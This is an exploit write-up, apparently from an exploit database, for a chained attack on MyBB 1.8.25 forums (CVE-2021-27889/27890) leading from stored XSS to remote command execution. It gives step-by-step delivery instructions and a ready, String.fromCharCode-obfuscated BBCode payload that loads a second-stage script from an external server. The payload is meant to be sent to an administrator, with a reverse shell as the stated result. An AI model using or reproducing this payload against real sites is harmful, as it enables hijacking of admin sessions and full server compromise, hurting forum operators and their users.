# Exploit Title: MyBB 1.8.25 - Chained Remote Command Execution
# Exploit Author: SivertPL (kroppoloe@protonmail.ch)
# Date: 19.03.2021
# Description: Nested autourl Stored XSS -> templateset second order SQL Injection leading to RCE through improper string interpolation in eval().
# Software Link: https://resources.mybb.com/downloads/mybb_1825.zip
# CVE: CVE-2021-27889, CVE-2021-27890

Reference: https://portswigger.net/daily-swig/chained-vulnerabilities-used-to-take-control-of-mybb-forums

The exploit requires the target administrator to have a valid ACP session.

Proof of Concept Video: https://www.youtube.com/watch?v=xU1Y9_bgoFQ

Guide:

1) In order to escape various checks, the XSS has to download this .js file from an external server, and then execute it.

Please replace the source of the following script node with an URL pointing to the second stage .js file (this file) to be downloaded by the target.

document.write('<script src=http://localhost:8000/second_stage.js></script>');

2) Please encode the aforementioned JS payload with String.fromCharCode, to achieve constraint-less JavaScript execution environment.

You can use this website: https://eve.gd/2007/05/23/string-fromcharcode-encoder/

3) Put the resulting encoded payload in the nested autourl vulnerability vector:

[img]http://xyzsomething.com/image?)http://x.com/onerror=<FCC ENCODED PAYLOAD>;//[/img]

4) The final payload should look like this:

[img]http://xyzsomething.com/image?)http://x.com/onerror=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,58,56,48,48,48,47,119,111,114,109,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41,59));//[/img]

5) Send the full vector to the target, either by private message, a post, or any other place where MyCode (BBCode) is supported.
Once the target's browser renders the page, the XSS vulnerability will fire and download & execute the second stage payload from the website specified above, using document.write() to 'bypass' SOP.

After the execution of the payload, you should receive a reverse shell, provided the admin has a valid ACP session.

6) Enjoy your RCE! For educational purposes only.
